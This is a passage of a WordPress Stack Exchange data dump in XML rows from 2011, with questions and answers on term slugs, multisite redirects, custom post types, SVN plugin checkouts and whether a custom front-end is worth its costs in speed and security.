  <row Id="13886" PostTypeId="2" ParentId="13874" CreationDate="2011-04-04T11:36:46.913" Score="1" ViewCount="" Body="&lt;p&gt;Take a look at scribu's &lt;a href=&quot;http://wordpress.org/extend/plugins/posts-to-posts/&quot; rel=&quot;nofollow&quot;&gt;post2post plugin&lt;/a&gt; which allows you to create many-to-many relationships between posts of all types.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-04T11:36:46.913" />
  <row Id="13888" PostTypeId="1" AcceptedAnswerId="13908" CreationDate="2011-04-04T12:17:37.550" Score="0" ViewCount="298" Body="&lt;p&gt;I'm creating common &quot;Single Tag Page&quot; for different Post Types.&lt;br&gt;&#xA;I'm using next code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$loop = new WP_Query( array( 'post_type' =&amp;gt; 'any', 'tag' =&amp;gt; single_term_title( '', false ), 'posts_per_page' =&amp;gt; 10 ) );&#xA;while ( $loop-&amp;gt;have_posts() ) : $loop-&amp;gt;the_post(); ?&amp;gt;&#xA;  &amp;lt;div class=&quot;entry-content&quot;&amp;gt;&#xA;     &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&amp;lt;!-- .entry-content --&amp;gt;&#xA;&amp;lt;?php endwhile; // End the loop. ?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works fine until there is no taxonomy terms conflict.&lt;br&gt;&#xA;For example:&lt;br&gt;&#xA;If I have Category &amp;amp; Tag names - &lt;strong&gt;&quot;Videos&quot;&lt;/strong&gt;, Category will have slug - &lt;em&gt;&quot;/videos&quot;&lt;/em&gt; &amp;amp; Tag &lt;em&gt;&quot;/videos-2&quot;&lt;/em&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case when slug isn't the same as taxonomy name above code does not working.&lt;br&gt;&#xA;I need an alternative function for &lt;strong&gt;single_term_title()&lt;/strong&gt;, something like &lt;strong&gt;&quot;single_term_slug()&quot;&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. I was thinking about &quot;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_term_by&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;get_term_by()&lt;/strong&gt;&lt;/a&gt;&quot; function, but I didn't had luck to adopt it to the code above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Updated:&lt;/strong&gt; I've posted my code below.&lt;/p&gt;&#xA;" OwnerUserId="3855" LastEditorUserId="3855" LastEditorDisplayName="" LastEditDate="2011-04-04T18:06:33.147" LastActivityDate="2011-04-06T11:08:30.133" Title="Retrieve single term slug" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;taxonomy&gt;&lt;terms&gt;" AnswerCount="3" />
  <row Id="13889" PostTypeId="2" ParentId="13888" CreationDate="2011-04-04T12:55:13.167" Score="1" ViewCount="" Body="&lt;p&gt;There is a reference to the term object in &lt;code&gt;$wp_query&lt;/code&gt;, and a shortcut function to grab this (providing you are running WordPress 3.1): &lt;code&gt;get_queried_object()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, to get the slug you would do &lt;code&gt;echo get_queried_object()-&amp;gt;slug;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are not running WordPress 3.1, you will have to call the &lt;code&gt;get_queried_object()&lt;/code&gt; on the &lt;code&gt;global $wp_query&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;global $wp_query;&lt;/code&gt;&#xA;&lt;code&gt;echo $wp_query-&amp;gt;get_queried_object()-&amp;gt;slug;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2011-04-04T12:55:13.167" CommentCount="1" />
  <row Id="13890" PostTypeId="2" ParentId="13888" CreationDate="2011-04-04T13:00:42.567" Score="0" ViewCount="" Body="&lt;p&gt;Here is a forked &lt;code&gt;single_term_slug()&lt;/code&gt; function out of &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1/wp-includes/general-template.php#L732&quot; rel=&quot;nofollow&quot;&gt;single_term_title()&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function single_term_slug( $prefix = '', $display = true ) {&#xA;    $term = get_queried_object();&#xA;    if ( !$term )&#xA;    return;&#xA;    if ( is_category() )&#xA;        $term_slug = apply_filters( 'single_cat_slug', $term-&amp;gt;slug );&#xA;    elseif ( is_tag() )&#xA;        $term_slug = apply_filters( 'single_tag_slug', $term-&amp;gt;slug );&#xA;    elseif ( is_tax() )&#xA;        $term_slug = apply_filters( 'single_term_slug', $term-&amp;gt;slug );&#xA;    else&#xA;        return;&#xA;    if ( empty( $term_slug ) )&#xA;        return;&#xA;    if ( $display )&#xA;        echo $prefix . $term_slug;&#xA;    else&#xA;        return $term_slug;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-04-04T13:08:13.990" LastActivityDate="2011-04-04T13:08:13.990" CommentCount="1" />
  <row Id="13891" PostTypeId="1" CreationDate="2011-04-04T14:01:40.960" Score="0" ViewCount="447" Body="&lt;p&gt;Need some help here. Have a WordPress 3.1 install at webtest.mysite.com and want multiple sub-domains at 1.webtest.mysite.com, 2.webtest.mysite.com, etc. After following all the instructions to the letter, every subdomain address redirects to the main install at webtest.mysite.com/wp-signup.php?  Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;.htaccess contents&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteRule ^index\.php$ - [L]&#xA;# uploaded files&#xA;RewriteRule ^files/(.+) wp-includes/ms-files.php?file=$1 [L]&#xA;RewriteCond %{REQUEST_FILENAME} -f [OR]&#xA;RewriteCond %{REQUEST_FILENAME} -d&#xA;RewriteRule ^ - [L]&#xA;RewriteRule . index.php [L]&#xA;# END WordPress&#xA;php_value upload_max_filesize 2000M&#xA;php_value post_max_size 2000M&#xA;php_value memory_limit 2000M&#xA;#php_flag display_errors on&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4427" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-28T14:10:53.287" LastActivityDate="2011-08-26T21:35:14.233" Title="All subdomains redirecting to mainsite/wp-signup.php after multisite install" Tags="&lt;multisite&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="13892" PostTypeId="1" CreationDate="2011-04-04T14:41:05.240" Score="-1" ViewCount="209" Body="&lt;p&gt;I have a wordpress account. I am just using the free wordpress account which does not allow me to install any plugins. I have an mp3 file and I want it to appear as an audio player. There are many plugins like wpaudio but that only works if I have installed the wordpress on my server which I have not. &lt;/p&gt;&#xA;" OwnerUserId="4592" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-04-04T15:08:43.327" LastActivityDate="2011-04-04T15:08:43.327" Title="Audio Player for MP3 Files for Wordpress" Tags="&lt;media&gt;&lt;audio&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="13893" PostTypeId="2" ParentId="13892" CreationDate="2011-04-04T14:57:39.740" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://en.support.wordpress.com/audio/&quot; rel=&quot;nofollow&quot;&gt;http://en.support.wordpress.com/audio/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-04-04T14:57:39.740" />
  <row Id="13894" PostTypeId="1" AcceptedAnswerId="13923" CreationDate="2011-04-04T15:35:45.507" Score="0" ViewCount="109" Body="&lt;p&gt;I know there are plugins out there for integrating the user base &amp;amp; sign-up, but are there any for using PHPlist to automatically send out newsletters of new posts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm really trying to avoid a from-scratch solution here, though if nothing is 'ready made' I'd appreciate any pointers or head starts ;)&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-04-04T20:25:51.647" Title="PHPlist &amp; new posts notification?" Tags="&lt;plugin-recommendation&gt;&lt;phplist&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="13895" PostTypeId="1" AcceptedAnswerId="13897" CreationDate="2011-04-04T16:00:21.740" Score="0" ViewCount="64" Body="&lt;p&gt;I construction of a administrative back office inside the wordpress theme for running our travel company, monitoring users, bookings and payments, it has come to my attention that it might be better served and more secure if such an area were in face a desktop application or offline webpage that connected to the internet inly to get the date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how would one connect to wordpress from html/php pages sitting on the desktops of relevant computers? And is that a sensible idea or not?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many Thanks,&lt;/p&gt;&#xA;" OwnerUserId="2957" LastActivityDate="2011-04-04T16:29:52.150" Title="Building a Wordpress App" Tags="&lt;php&gt;&lt;admin&gt;" AnswerCount="2" />
  <row Id="13896" PostTypeId="2" ParentId="13821" CreationDate="2011-04-04T16:05:53.747" Score="2" ViewCount="" Body="&lt;p&gt;First of all, I'm also a beginner in SVN. I'm happy when it's working ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not completely sure if I understand your question correctly. You have checked out the WordPress trunk and inside this working copy, you want to checkout a plugin from the WordPress plugin directory?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, I don't know if this is going to work - But you could store your &lt;code&gt;wp-config.php&lt;/code&gt; and &lt;code&gt;wp-content&lt;/code&gt; directory outside of your WordPress directory as explained by Otto in &lt;a href=&quot;http://ottopress.com/2011/creating-a-wordpress-site-using-svn/&quot; rel=&quot;nofollow&quot;&gt;his article&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;For example&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Document Root: &lt;code&gt;/var/www/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;site1/&#xA;     wp-config.php&#xA;     wp-content/&#xA;         pluginA/ (svn-external to WordPress plugin repo)&#xA;         pluginB/ (svn-external to WordPress plugin repo)&#xA;         pluginC/ (local copy)&#xA;     wp-trunk/ (svn-external to WordPress trunk repo)&#xA;     wp-31/ (svn-external to WordPress branches repo)&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This way you could checkout multiple versions of WordPress and all your desired plugins with svn-externals. The hole &lt;code&gt;site1&lt;/code&gt; could then also be stored in your own &lt;code&gt;site1&lt;/code&gt; svn repo so that your buddy only have to checkout this repo from your svn server.&lt;/p&gt;&#xA;" OwnerUserId="3817" LastActivityDate="2011-04-04T16:05:53.747" />
  <row Id="13897" PostTypeId="2" ParentId="13895" CreationDate="2011-04-04T16:15:58.907" Score="2" ViewCount="" Body="&lt;p&gt;I'm curious how/where you got the impression that desktop apps are more secure than the WP admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For better security, you can enable SSL for the normal WP admin web interface, by adding this line to wp-config.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('FORCE_SSL_ADMIN', true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;More info here: &lt;a href=&quot;http://codex.wordpress.org/Administration_Over_SSL&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Administration_Over_SSL&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="205" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-04-04T16:29:52.150" LastActivityDate="2011-04-04T16:29:52.150" CommentCount="4" />
  <row Id="13898" PostTypeId="2" ParentId="13895" CreationDate="2011-04-04T16:18:10.803" Score="1" ViewCount="" Body="&lt;p&gt;You can manage your WordPress installation over the XML-RPC service. Its a webservice like SOAP which you can query with pre-defined methods. Check out the &lt;a href=&quot;http://codex.wordpress.org/XML-RPC_Support&quot; rel=&quot;nofollow&quot;&gt;official codex&lt;/a&gt; for more information or read &lt;a href=&quot;http://translate.google.com/translate?hl=de&amp;amp;sl=de&amp;amp;tl=en&amp;amp;u=http%3A%2F%2Fwww.webeo.ch%2Fjournal%2Fwordpress-fernsteuern-mittels-xml-rpc&quot; rel=&quot;nofollow&quot;&gt;my own article&lt;/a&gt; (german) about extending the xml-server class.&lt;/p&gt;&#xA;" OwnerUserId="3817" LastActivityDate="2011-04-04T16:18:10.803" />
  <row Id="13899" PostTypeId="1" CreationDate="2011-04-04T16:22:45.060" Score="1" ViewCount="252" Body="&lt;p&gt;I'm currently building a custom post type in Wordpress and I need to be able to list all attachments inside the edit screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know how to do this on the front-end template, but anyone know the code to use or can be placed in the functions.php page for the custom post type?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially, what I'm trying to do is list all attachments in a checkbox list, then allow the editor to select them to associate with a custom field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&#xA;Troy&lt;/p&gt;&#xA;" OwnerUserId="4432" LastActivityDate="2011-06-03T21:57:17.197" Title="Custom Post Type - List all attachments on Edit Screen" Tags="&lt;custom-post-types&gt;&lt;3.1&gt;&lt;attachments&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="13900" PostTypeId="1" AcceptedAnswerId="13904" CreationDate="2011-04-04T16:26:14.533" Score="2" ViewCount="203" Body="&lt;p&gt;I've been building wordpress sites for a few years now and have noticed a few things that bother me.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1.  It's fairly slow&lt;/strong&gt; &lt;em&gt;(awful blanket statement, I apologize)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My initial desire to create a custom front-end came from an observation.  The Wordpress sites I was building weren’t quite as fast as I wanted them to be (3-5 seconds, sometimes longer).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;@Kenrik - They certainly were deployed on oversold shared-hosting, but they got good Yslow scores.  I tried it out and found the sites to be approximately three times faster when I didn’t load the WP overhead.  Same machine, same Yslow score, 3 times faster.  I’m no expert on Wordpress CPU usage, but I’ve read that it’s pretty intense, so I was not surprised by the speed gains I achieved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2.  It's often overly complex for the needs of a simple website&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just a note:  I’m mostly building sites for fashion lines and portfolio management, complex in front-end interaction, but with relatively little data.  These sites are never going to be huge and they require very little code to retrieve the necessary content.  My question is therefore largely theoretical. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think that Wordpress is a fantastic platform and that it has few limits for growth, however I think that loading all of its resources is overkill for a lot of smaller projects, destined to be served from shared hosting. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3.  It has a lot of security issues (especially when using plugins)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Concerning security,  I can see how my question was ambiguous and contradictory.  What I meant is that from my understanding,  a Wordpress site, beyond any actual security holes, is vulnerable because attackers know that it is a Wordpress site.  This creates a challenge (to breach a popular platform) and an inherent cheat sheet (Wordpress vulnerabilities are well documented).  So, sure a custom solution might have more actual security holes, but I’m wondering if it this wouldn’t be balanced by the fact that it makes the inner workings anonymous.   As @Kenrik said, “they most likely wont even bother because who cares about hacking a single site with iffy custom code?”&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;4.  It's difficult to optimize page-load times&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I meant by the difficulty of page-load optimization is that if one achieves interactive functionality via lots of plugins, many scripts are loaded and it becomes more tedious to go back and combine, modify, customize or optimize them.  I find it easier to include jQuery plugins outside of Wordpress and not have to deal with how they hook into wp_head.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So recently I decided to go about my development differently and use Wordpress as only a back-end tool.  I use the admin space to update content and populate the database but I use a custom data access layer and custom functions on the front-end to retrieve and display the content.  For pages where login is needed, I include the blog-header file and use wordpress' credential management functionalities. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I see it, the pros of this independent front-end solution are that it makes development easier (you only write what you need, and it's all your own work), it's easier to optimize page-loads (you have better control over what scripts are used and how to combine them in optimal ways), you are not alerting the entire hacking world to the existence of a wordpress install (because the files aren't loaded from a theme anymore) and more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Potential Cons:  Security, lack of scalability, lack of developer support for custom solutions... Anything else ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really enjoy creating sites outside of the wordpress constraints, I'm just worried I might be overlooking some major issues with this approach. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please let me know if this is the case. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To retroactively conclude:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’m 100% sure that my sites are faster in the exact same environment when I don’t use the native Wordpress front-end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’m doubt that my code is as safe as Wordpress, but I think that I can lock it down and  the fact that it has an anonymous front-end might make it less of a target.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’m sure that I can code functionalities a lot faster when I deploy an extremely simple custom front-end solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I’m just wondering, given my environment and my constraints whether doing this is still just a bad idea.  And if so, what are the main reasons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’m sure there are other curious, ambitious, under-educated coders out there who might be wondering the same thing.  They will likely benefit from whatever you have to say about the subject. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you all&lt;/p&gt;&#xA;" OwnerUserId="4433" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-04-05T14:07:48.900" LastActivityDate="2011-06-15T07:06:10.667" Title="What are the pros and cons of using a custom front-end to retrieve content from a Wordpress back-end" Tags="&lt;security&gt;&lt;front-end&gt;" AnswerCount="4" CommentCount="7" FavoriteCount="1" />
  <row Id="13901" PostTypeId="2" ParentId="13850" CreationDate="2011-04-04T16:30:25.813" Score="1" ViewCount="" Body="&lt;p&gt;to do something like this is relatively large as a project so I couldn't really post you the code to do what you exactly want, but you could commission this as a project for someone to help you with just that aspect of the project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But here are the steps involved to do something like this:&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Step 1; Register custom post type&lt;/h1&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function create_post_type() {&#xA;    register_post_type( 'products',&#xA;        array(&#xA;            'labels' =&amp;gt; array(&#xA;                'name' =&amp;gt; __( 'products' ),&#xA;                'singular_name' =&amp;gt; __( 'products' )&#xA;            ),&#xA;        'public' =&amp;gt; true,&#xA;        'menu_position' =&amp;gt; 6,&#xA;        'rewrite' =&amp;gt; array('slug' =&amp;gt; 'products'),&#xA;        'supports' =&amp;gt; array('title','thumbnail','editor','custom-fields')&#xA;        )&#xA;    );&#xA;}&#xA;add_action('init', 'create_post_type');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Codex Link: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_post_type&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/register_post_type&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Step 2; Display Custom Post type&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;the below code basically prints your custom post into a page, and has the html markup ready for styling and functioning for jQuery.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt; &amp;lt;!-- to hold the posts --&amp;gt;&#xA;&amp;lt;?php&#xA;    $paged = (get_query_var('paged')) ? get_query_var('paged') : 1;&#xA;    $post_per_page = 9; // -1 shows all posts &amp;amp; show 3 per line so 9 in total before showing the other pages&#xA;    $do_not_show_stickies = 1; // 0 to show stickies&#xA;    $args=array(&#xA;    'post_type' =&amp;gt; 'products',&#xA;    'paged' =&amp;gt; $paged,&#xA;    'posts_per_page' =&amp;gt; $post_per_page,&#xA;    'order' =&amp;gt; 'ASC',&#xA;    );&#xA;    $temp = $wp_query;  // assign orginal query to temp variable for later use&#xA;    $wp_query = null;&#xA;    $wp_query = new WP_Query($args);&#xA;    if( have_posts() ) : while ($wp_query-&amp;gt;have_posts()) : $wp_query-&amp;gt;the_post(); ?&amp;gt;&#xA;&#xA;    &amp;lt;?php $download_link = get_post_meta($post-&amp;gt;ID, 'download-link', $single = true); // custom field on post to allow entry of a http link for the download?&amp;gt;&#xA;&#xA;    &amp;lt;li&amp;gt;&#xA;        &amp;lt;?php the_post_thumbnail(array(200,300), array('title'  =&amp;gt; trim(strip_tags( $attachment-&amp;gt;post_title)), ));?&amp;gt;&#xA;        &amp;lt;a href=&quot;#&quot; class=&quot;trigger&quot;&amp;gt;&amp;lt;?php the_title();?&amp;gt;&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;tooltip&quot;&amp;gt;&#xA;        &amp;lt;?php the_post_thumbnail(array(200,300), array('title'  =&amp;gt; trim(strip_tags( $attachment-&amp;gt;post_title)), ));?&amp;gt;&#xA;        &amp;lt;a href=&quot;&amp;lt;?php echo $download_link ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title();?&amp;gt;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;?php the_content();?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;?php endwhile; ?&amp;gt;&#xA;&amp;lt;?php endif; $wp_query = $temp;  //reset back to original query ?&amp;gt;   &#xA;&amp;lt;?php wp_reset_query();?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To show the next and previous pages in a numbered format you can use a plugin such as WP-Pagination to get numbered pages like [1] [2] [3]&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Step 3; the jQuery&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;This is what would take the most time to implement but what you can do is look for a tooltip style plugin or write your own, but if you are writting one yourself all you have to do is is use the div in the above code  and add a .hide() to that;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then when the mouse hovers over a class=&quot;trigger&quot; it will .show() that div, the div will hold the information for your mouse over for page sliding effects well that itself is a larger task.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But i hope the above helps you get started on your project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some jQuery Plugins that will help you along the way;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bassistance.de/jquery-plugins/jquery-plugin-tooltip/&quot; rel=&quot;nofollow&quot;&gt;http://bassistance.de/jquery-plugins/jquery-plugin-tooltip/&lt;/a&gt;&#xA;http://jquery.bassistance.de/tooltip/demo/&lt;/p&gt;&#xA;" OwnerUserId="4369" LastEditorUserId="4369" LastEditorDisplayName="" LastEditDate="2011-04-07T22:38:21.423" LastActivityDate="2011-04-07T22:38:21.423" CommentCount="4" />
  <row Id="13902" PostTypeId="2" ParentId="13821" CreationDate="2011-04-04T16:33:06.997" Score="2" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;My question is whether i can checkin a&#xA;  plugin from directly inside the&#xA;  plugins directory?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;By 'checkin' do you mean updating the plugin on wp.org (svn commit) or downloading the plugin from wp.org (svn checkout) ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plugins on wp.org do require the traditional &lt;code&gt;trunk&lt;/code&gt; &lt;code&gt;branches&lt;/code&gt; &lt;code&gt;tags&lt;/code&gt; structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to work on an svn checkout of a plugin within an svn checkout of wp core, you can checkout just the trunk folder:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;svn checkout http://plugins.svn.wordpress.org/your-plugin-name/trunk/ wp-content/plugins/your-plugin-name/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-04-04T16:33:06.997" CommentCount="2" />
  <row Id="13903" PostTypeId="2" ParentId="8436" CreationDate="2011-04-04T16:47:59.707" Score="1" ViewCount="" Body="&lt;p&gt;Is display of the &quot;Custom Fields&quot; metabox enabled for your Custom Post Type's Edit Screen?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To check:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Edit (Post Type) Screen&#xA;2) Click the &quot;Screen Options&quot; tab in the upper right-hand corner&#xA;3) Ensure the &quot;Custom Fields&quot; checkbox is enabled&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress 3.1 made some (ahem) &lt;em&gt;decisions&lt;/em&gt; regarding which metaboxes should display by default on the Edit screens. In some cases, previously displayed metaboxes were changed &lt;em&gt;not to display&lt;/em&gt; by default.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-04-04T16:47:59.707" />
  <row Id="13904" PostTypeId="2" ParentId="13900" CreationDate="2011-04-04T17:04:04.560" Score="8" ViewCount="" Body="&lt;p&gt;You do cite experience with WP going back farther than that of mine... Yet I do not see these issues as that major. What scale of sites are we talking about?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It's fairly slow&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I feel this is bit too much of generalization. Slow can be put in context of specific hardware, tasks and level of traffic. It's blanket statement otherwise.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It's often overly complex for the needs of a simple website&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Complex for whom? Users? Developer? WP is trivial to install and get running. Create some content and you have that simple site. Where is complexity here?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It has a lot of security issues (especially when using plugins)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Again, bit too much of blanket statement. WP itself is relatively secure and most of security issues that had major impact seems to be from running grossly outdated WP versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;State of plugins and security is definitely far from perfect, but nothing prevents to be very selective or developing secure and reliable plugins, right?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It's difficult to optimize page-load times&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Again, I am not sure what scale are we talking about. Optimization from low to mid sized sites seems trivial - install good static cache plugin, buff with opcode caching... Throw in alternative web server or reverse proxy if really needed.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I really enjoy creating sites outside of the wordpress constraints, I'm just worried I might be overlooking some major issues with this approach.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I pretty much have only one question for you - &lt;strong&gt;are you absolutely sure that you are doing it better, faster and more secure than native WP front-end?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not ask this sarcastically, I think it might be plausible that for very narrow task custom-made and locked down front-end might be reasonable. But I also notice that overconfidence about custom solution being &quot;just better&quot; than collective work of many developers/companies is not uncommon in web development.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;My initial desire to create a custom front-end came from an observation. The Wordpress sites I was building weren’t quite as fast as I wanted them to be (3-5 seconds, sometimes longer). [...] They certainly were deployed on oversold shared-hosting, but they got good Yslow scores.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;YSlow (and PageSpeed) are excellent tools, but they are inherently limited. They can only analyze and advise on front-end performance and how site is processed by browser. They give no insight in your server performance and blindly chasing high front-end scores can actually be harmful to server load.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should use such tools, but you should never limit your insight in how site performs to them alone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On hosting - any dynamic site on shared hosting will choke under high load. Again, while it may seem easy to tweak and get high front-end scores, on the server side shared hosting &lt;strong&gt;critically&lt;/strong&gt; lacks hardware and web stack flexibility, &lt;strong&gt;necessary&lt;/strong&gt; for site with high traffic and/or striving for fast load times.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I think that loading all of its resources is overkill for a lot of smaller projects, destined to be served from shared hosting.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Had you tried static page caching? It effectively removes WP core out of most requests and it's about as fast as you can get on shared hosting. If you tried and not satisfied with pages, served from static cache, WordPress is not your problem - hosting is.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What I meant is that from my understanding, a Wordpress site, beyond any actual security holes, is vulnerable because attackers know that it is a Wordpress site. This creates a challenge (to breach a popular platform) and an inherent cheat sheet (Wordpress vulnerabilities are well documented).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There are no public and known security vulnerabilities in stable WordPress version. Those that arise are fixed in matter of hours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Poor server configuration (common occurrence on cheap hosts) or running outdated WP version is what gets you hacked, not the sheer fact of using 